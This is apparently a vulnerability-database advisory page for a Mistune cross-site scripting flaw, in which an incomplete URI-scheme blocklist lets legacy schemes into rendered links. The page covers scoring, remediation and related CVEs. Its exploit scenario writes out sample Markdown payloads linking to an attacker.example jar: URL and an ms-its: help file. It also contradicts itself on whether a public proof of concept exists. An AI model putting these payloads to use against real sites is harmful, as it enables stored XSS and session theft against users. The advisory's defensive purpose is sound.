Skip to main content

Mistune CVE-2026-59929

| EUVDEUVD-2026-42336 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-08 GitHub_M GHSA-qfrw-5rxm-mhh2 PYSEC-2026-2217
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted Markdown with legacy URI scheme
  2. Delivery
    Mistune safe_url filter passes unchecked scheme
  3. Exploit
    Rendered HTML written with malicious href or src attribute
  4. Execution
    Victim loads or clicks rendered page content
  5. Persist
    Legacy scheme triggers script execution in victim's browser
  6. Impact
    Session token or DOM data exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the target application accepts Markdown input from untrusted or partially trusted users (e.g., comment fields, wikis, issue trackers, chat systems); (2) the Markdown is rendered using Mistune prior to 3.3.0 with the HTML renderer and safe_url as the sole URL sanitization control; and (3) the rendered HTML is served to other users' browsers - either as a shared page or via a reflected response. User interaction is required (CVSS UI:R): the victim must load or click the attacker-controlled content. Effective code execution further depends on the victim's user agent supporting the specific legacy scheme used - livescript: and mocha: are inert in Chrome, Firefox, and Safari; jar: is only dangerous in older Firefox versions; ms-its:, mk:, and res: require Internet Explorer or IE compatibility mode. Modern evergreen browsers significantly limit exploitability, reducing real risk to environments with legacy browsers, embedded WebViews (Electron apps, mobile in-app browsers), or enterprise IE-mode deployments.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N scores 6.1 - a medium rating that is nonetheless meaningful due to the scope change flag indicating the attacker's payload executes outside the vulnerable component (i.e., in the victim's browser session). Low complexity and no privilege requirement lower the bar for any attacker who can submit Markdown to a target application. User interaction (UI:R) is a genuine friction point, requiring the victim to view or click the rendered content. EPSS data is not provided, so exploitation probability cannot be quantified. No KEV listing confirms active exploitation. Critically, real-world exploitability of legacy schemes depends heavily on the victim's browser: livescript: and mocha: are inert in all modern browsers, but jar: (older Firefox), ms-its:/mk:/res: (Internet Explorer or IE-mode in Edge), and similar schemes may still execute in enterprise environments with legacy browsers, embedded Electron WebViews, or mobile in-app browsers. This makes the threat highly context-dependent - high risk in legacy enterprise environments, low risk where all users run modern evergreen browsers.

Exploit ScenarioDerived

An attacker posts a forum comment or wiki page containing Markdown such as [click here](jar:http://attacker.example/payload.jar!/exploit.html) or [visit](ms-its:C:\Windows\Help\exploit.chm::/page.htm) to an application using Mistune prior to 3.3.0. The safe_url filter passes the URI unchanged, producing <a href="jar:...">click here</a> in the rendered HTML. When a victim running an affected browser or in-app WebView clicks the link, the legacy scheme triggers script execution within the victim's browser session. No public POC has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Cross-site scripting in Mistune prior to 3.3.0 stems from an incomplete URI scheme blocklist in the safe_url filter, permitting legacy and chained schemes (feed:, jar:, livescript:, mocha:, ms-its:, mk:, res:, view-source:) to pass unchecked into rendered href and src attributes. Any web application that accepts user-supplied Markdown, renders it via Mistune's HTML renderer, and serves the output to other users' browsers is exposed to stored or reflected XSS. No public exploit or CISA KEV listing has been identified at time of analysis; however, the CVSS 6.1 score with scope change (S:C) reflects genuine cross-session impact when the victim interacts with attacker-controlled content.

RemediationAI

Upgrade Mistune to version 3.3.0 or later; this is the vendor-released patch that expands the safe_url blocklist to cover legacy and chained URI schemes. The specific fix is in commit https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc and the release is at https://github.com/lepture/mistune/releases/tag/v3.3.0. If an immediate upgrade is not feasible, add a post-render HTML sanitization step using a dedicated library such as nh3 or bleach with an explicit URI scheme allowlist (e.g., allow only http:, https:, and mailto:) - note this introduces an additional processing dependency and may strip intentional links. As a complementary control, restrict Markdown authoring to authenticated, trusted users only, which eliminates the unauthenticated injection surface without requiring code changes but reduces application functionality.

Affected VersionsENISA

mistune < 3.3.0

Affected Packages

pypi mistune fix: 3.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mistune (CPE: cpe:2.3:a:lepture:mistune:*:*:*:*:*:*:*:*) is a pure-Python Markdown-to-HTML parser maintained by lepture. The vulnerable code resides in src/mistune/renderers/html.py inside the safe_url function, which implements a blocklist-by-exclusion approach to URI scheme filtering - only javascript:, vbscript:, file:, and data: are rejected. This incomplete blocklist is the root cause class described by CWE-79 (Improper Neutralization of Input During Web Page Generation). Historically dangerous URI schemes omitted from the blocklist include livescript: and mocha: (legacy Netscape JavaScript aliases), jar: (Java archive loader in Firefox), ms-its:, mk:, and res: (Internet Explorer help and resource protocols capable of script execution in IE-based agents), feed: (feed reader redirection), and view-source:. These pass the filter unchanged and are written directly into href or src attributes in the rendered HTML output.

Know when Mistune gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-delivered Markdown requires no privileges; victim interaction triggers scoped browser-side XSS with limited confidentiality and integrity impact, no availability loss.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE 5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Red Hat 6.1 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 08, 2026 - 18:02 EUVD

DescriptionCVE.org

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the safe_url filter in src/mistune/renderers/html.py blocks only javascript:, vbscript:, file:, and data: schemes, allowing legacy or chained schemes such as feed:, view-source:, jar:, livescript:, mocha:, ms-its:, mk:, and res: to reach rendered href and src attributes and potentially execute script in affected user agents. This issue is fixed in version 3.3.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on mistune (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.3.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Medium
popular Python Markdown parser across web frameworks and tools
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-49851 HIGH POC
8.7 Jun 24

Uncontrolled CPU consumption in Mistune, a Python Markdown parser, allows remote unauthenticated attackers to cause deni

CVE-2026-59928 HIGH POC
7.5 Jul 08

Denial of service in Mistune (the lepture Python Markdown parser) before 3.3.0 lets remote unauthenticated attackers exh

CVE-2026-59922 HIGH POC
7.5 Jul 08

Denial of service in Mistune, a Python Markdown parser, affects all versions prior to 3.3.0 when the strikethrough, mark

CVE-2026-59925 HIGH POC
7.5 Jul 08

Denial of service in Mistune, a widely used pure-Python Markdown parser, affects all versions prior to 3.3.0 where the d

CVE-2026-59923 MEDIUM POC
6.1 Jul 08

Cross-site scripting in Mistune Python Markdown parser (all versions before 3.3.0) allows attacker-controlled Markdown c

CVE-2017-15612 MEDIUM POC
6.1 Oct 19

mistune.py in Mistune 0.7.4 allows XSS via an unexpected newline (such as in java\nscript:) or a crafted email address,

CVE-2026-59924 MEDIUM POC
5.9 Jul 08

Path traversal in Mistune's Include plugin allows reading arbitrary files from the server filesystem when processing att

CVE-2026-59927 MEDIUM POC
5.3 Jul 08

Unbounded recursion in Mistune's Include directive (all versions prior to 3.3.0) can be triggered by a pair of mutually-

CVE-2026-115347 HIGH
8.7 Oct 22

Quadratic denial of service in Mistune's Markdown parser (parse_link_text) affects versions 3.2.0, 3.2.1 and main prior

CVE-2026-121437 HIGH
8.7 Nov 03

Denial of service in Mistune 3.3.0 through 3.3.3 allows unauthenticated remote attackers to exhaust CPU and stall reques

CVE-2026-59930 MEDIUM POC
4.3 Jul 08

Predictable heading anchor ID generation in Mistune's toc plugin (all versions prior to 3.3.0) enables same-page navigat

CVE-2022-34749 HIGH
7.5 Jul 25

In mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high a

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.0 SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
openSUSE Leap 16.0 Fixed
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Package Hub 15 SP7 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy